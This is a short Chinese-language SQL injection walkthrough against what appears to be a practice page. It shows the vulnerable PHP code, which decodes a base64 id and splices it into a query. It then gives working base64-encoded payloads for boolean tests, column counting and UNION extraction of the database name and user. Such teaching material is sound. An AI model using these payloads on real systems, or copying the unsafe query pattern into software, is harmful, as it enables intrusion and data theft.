链接:http://www.nanhack.com/payload/sql/base64.php?id=MQ==
字符串“MQ==”经过base64解码之后是数字1
1' and 1=1-- - 经过base64编码之后是 MScgYW5kIDE9MS0tIC0=
1' and 1=2-- - 经过base64编码之后是 MScgYW5kIDE9Mi0tIC0=
执行两个链接:
http://www.nanhack.com/payload/sql/base64.php?id=MScgYW5kIDE9MS0tIC0= # 页面正常
http://www.nanhack.com/payload/sql/base64.php?id=MScgYW5kIDE9Mi0tIC0= # 页面不正常
说明存在SQL注入,程序源码如下:
$id = base64_decode($_GET['id']);
$sql = "select * from admins where id = '$id'";
我们传入的base64编码会自动解码
接下来判断显示位:
# base64编码 1' order by 8-- - MScgb3JkZXIgYnkgOC0tIC0=
http://www.nanhack.com/payload/sql/base64.php?id=MScgb3JkZXIgYnkgOC0tIC0= #页面正常
# base64编码 1' order by 9-- - MScgb3JkZXIgYnkgOS0tIC0=
http://www.nanhack.com/payload/sql/base64.php?id=MScgb3JkZXIgYnkgOS0tIC0= #页面不正常,则显示位为8
# 这里要注意,注释符号是-- - 而不是-- + ,因为+号 base64编码之后,浏览器不会转成空格,带入数据库还是+号,所以这里用-- -
联合查询
-1' UNION SELECT 1,2,3,4,5,6,7,8-- - 经过编码后是 LTEnIFVOSU9OIFNFTEVDVCAxLDIsMyw0LDUsNiw3LDgtLSAt
http://www.nanhack.com/payload/sql/base64.php?id=LTEnIFVOSU9OIFNFTEVDVCAxLDIsMyw0LDUsNiw3LDgtLSAt# 可以看到显示位是2,4
-1' UNION SELECT 1,database(),3,user(),5,6,7,8-- - 经过编码后是 LTEnIFVOSU9OIFNFTEVDVCAxLGRhdGFiYXNlKCksMyx1c2VyKCksNSw2LDcsOC0tIC0=
http://www.nanhack.com/payload/sql/base64.php?id=LTEnIFVOSU9OIFNFTEVDVCAxLGRhdGFiYXNlKCksMyx1c2VyKCksNSw2LDcsOC0tIC0= #得到库名 nanhack 用户名nanhack
同样的方法,爆表,爆数据:
这个就和前面的联合查询注入一样,只不过我们需要对他进行base64编码在进行传值,这里就不再演示了